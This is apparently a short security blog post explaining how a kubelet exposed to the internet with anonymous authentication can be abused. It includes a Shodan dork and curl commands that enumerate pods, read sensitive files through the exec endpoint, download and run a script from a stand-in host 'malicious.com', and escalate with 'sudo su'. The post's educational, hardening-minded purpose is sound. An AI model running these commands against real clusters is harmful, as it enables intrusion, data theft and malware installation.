Rooted

Cybersecurity, done right.

View on GitHub

Hacking Kubernetes Kubelet

โš ๏ธ ATTENTION, THIS POST IS FOR EDUCATIONAL PURPOSES ONLY.

Securing the components of our Kubernetes clusters must be a priority: Kubernetes is notorious for having default settings that are too permissive and hardening measures are often either neglected or focused solely on the API server.

Hereโ€™s a real-world scenario of what could go wrong:

Our friendly neighborhood sysadmin, Joe, configured a cluster in a risky manner by exposing the kubelet to the internet with anonymous authentication enabled.

A malicious actor is conducting passive reconnaissance on Shodan using the following dork: ๐˜ฌ๐˜ถ๐˜ฃ๐˜ฆ๐˜ญ๐˜ฆ๐˜ต ๐˜ฑ๐˜ฐ๐˜ณ๐˜ต:10250

The malicious hacker discovers Joeโ€™s cluster, with the kubelet service exposed on the hypothetical host โ€œvulnerablehostโ€ and port 10250.
At this point, the attacker can attempt a discovery (according to the MITRE ATT&CK framework) with the following command:

๐˜ค๐˜ถ๐˜ณ๐˜ญ -๐˜ฌ ๐˜ฉ๐˜ต๐˜ต๐˜ฑ๐˜ด://๐˜ท๐˜ถ๐˜ญ๐˜ฏ๐˜ฆ๐˜ณ๐˜ข๐˜ฃ๐˜ญ๐˜ฆ๐˜ฉ๐˜ฐ๐˜ด๐˜ต:10250/๐˜ฑ๐˜ฐ๐˜ฅ๐˜ด | ๐˜ซ๐˜ฒ .

Since kubelet runs with the ๐š๐ง๐จ๐ง๐ฒ๐ฆ๐จ๐ฎ๐ฌ-๐š๐ฎ๐ญ๐ก flag set to true (default), the attacker will obtain a list of all the pods running on the cluster.
From now on, if debug endpoints are enabled, the hacker can proceed with malicious actions such as

Exfiltrate Data:

๐˜ค๐˜ถ๐˜ณ๐˜ญ -๐˜ฌ ๐˜ฉ๐˜ต๐˜ต๐˜ฑ๐˜ด://๐˜ท๐˜ถ๐˜ญ๐˜ฏ๐˜ฆ๐˜ณ๐˜ข๐˜ฃ๐˜ญ๐˜ฆ๐˜ฉ๐˜ฐ๐˜ด๐˜ต:10250/๐˜ฆ๐˜น๐˜ฆ๐˜ค/<๐˜ฑ๐˜ฐ๐˜ฅ_๐˜ฏ๐˜ข๐˜ฎ๐˜ฆ๐˜ด๐˜ฑ๐˜ข๐˜ค๐˜ฆ>/<๐˜ฑ๐˜ฐ๐˜ฅ_๐˜ฏ๐˜ข๐˜ฎ๐˜ฆ>/<๐˜ค๐˜ฐ๐˜ฏ๐˜ต๐˜ข๐˜ช๐˜ฏ๐˜ฆ๐˜ณ_๐˜ฏ๐˜ข๐˜ฎ๐˜ฆ> -๐˜Ÿ๐˜—๐˜–๐˜š๐˜› -๐˜ฅ '๐˜ค๐˜ฎ๐˜ฅ=๐˜ค๐˜ข๐˜ต /๐˜ฑ๐˜ข๐˜ต๐˜ฉ/๐˜ต๐˜ฐ/๐˜ด๐˜ฆ๐˜ฏ๐˜ด๐˜ช๐˜ต๐˜ช๐˜ท๐˜ฆ/๐˜ง๐˜ช๐˜ญ๐˜ฆ'

Remote Code Execution:

๐˜ค๐˜ถ๐˜ณ๐˜ญ -๐˜ฌ ๐˜ฉ๐˜ต๐˜ต๐˜ฑ๐˜ด://๐˜ท๐˜ถ๐˜ญ๐˜ฏ๐˜ฆ๐˜ณ๐˜ข๐˜ฃ๐˜ญ๐˜ฆ๐˜ฉ๐˜ฐ๐˜ด๐˜ต:10250/๐˜ฆ๐˜น๐˜ฆ๐˜ค/<๐˜ฑ๐˜ฐ๐˜ฅ_๐˜ฏ๐˜ข๐˜ฎ๐˜ฆ๐˜ด๐˜ฑ๐˜ข๐˜ค๐˜ฆ>/<๐˜ฑ๐˜ฐ๐˜ฅ_๐˜ฏ๐˜ข๐˜ฎ๐˜ฆ>/<๐˜ค๐˜ฐ๐˜ฏ๐˜ต๐˜ข๐˜ช๐˜ฏ๐˜ฆ๐˜ณ_๐˜ฏ๐˜ข๐˜ฎ๐˜ฆ> -๐˜Ÿ๐˜—๐˜–๐˜š๐˜› -๐˜ฅ '๐˜ค๐˜ฎ๐˜ฅ=๐˜ฃ๐˜ข๐˜ด๐˜ฉ -๐˜ค "๐˜ธ๐˜จ๐˜ฆ๐˜ต ๐˜ฉ๐˜ต๐˜ต๐˜ฑ://๐˜ฎ๐˜ข๐˜ญ๐˜ช๐˜ค๐˜ช๐˜ฐ๐˜ถ๐˜ด.๐˜ค๐˜ฐ๐˜ฎ/๐˜ฎ๐˜ข๐˜ญ๐˜ธ๐˜ข๐˜ณ๐˜ฆ.๐˜ด๐˜ฉ -๐˜– /๐˜ต๐˜ฎ๐˜ฑ/๐˜ฎ๐˜ข๐˜ญ๐˜ธ๐˜ข๐˜ณ๐˜ฆ.๐˜ด๐˜ฉ && ๐˜ค๐˜ฉ๐˜ฎ๐˜ฐ๐˜ฅ +๐˜น /๐˜ต๐˜ฎ๐˜ฑ/๐˜ฎ๐˜ข๐˜ญ๐˜ธ๐˜ข๐˜ณ๐˜ฆ.๐˜ด๐˜ฉ && /๐˜ต๐˜ฎ๐˜ฑ/๐˜ฎ๐˜ข๐˜ญ๐˜ธ๐˜ข๐˜ณ๐˜ฆ.๐˜ด๐˜ฉ"'  

Privilege Escalation:  
```console
๐˜ค๐˜ถ๐˜ณ๐˜ญ -๐˜ฌ ๐˜ฉ๐˜ต๐˜ต๐˜ฑ๐˜ด://๐˜ท๐˜ถ๐˜ญ๐˜ฏ๐˜ฆ๐˜ณ๐˜ข๐˜ฃ๐˜ญ๐˜ฆ๐˜ฉ๐˜ฐ๐˜ด๐˜ต:10250/๐˜ฆ๐˜น๐˜ฆ๐˜ค/<๐˜ฑ๐˜ฐ๐˜ฅ_๐˜ฏ๐˜ข๐˜ฎ๐˜ฆ๐˜ด๐˜ฑ๐˜ข๐˜ค๐˜ฆ>/<๐˜ฑ๐˜ฐ๐˜ฅ_๐˜ฏ๐˜ข๐˜ฎ๐˜ฆ>/<๐˜ค๐˜ฐ๐˜ฏ๐˜ต๐˜ข๐˜ช๐˜ฏ๐˜ฆ๐˜ณ_๐˜ฏ๐˜ข๐˜ฎ๐˜ฆ> -๐˜Ÿ๐˜—๐˜–๐˜š๐˜› -๐˜ฅ '๐˜ค๐˜ฎ๐˜ฅ=๐˜ฃ๐˜ข๐˜ด๐˜ฉ -๐˜ค "๐˜ด๐˜ถ๐˜ฅ๐˜ฐ ๐˜ด๐˜ถ"'  

At this point, I assure you that you wouldnโ€™t want to be in poor Joeโ€™s shoes.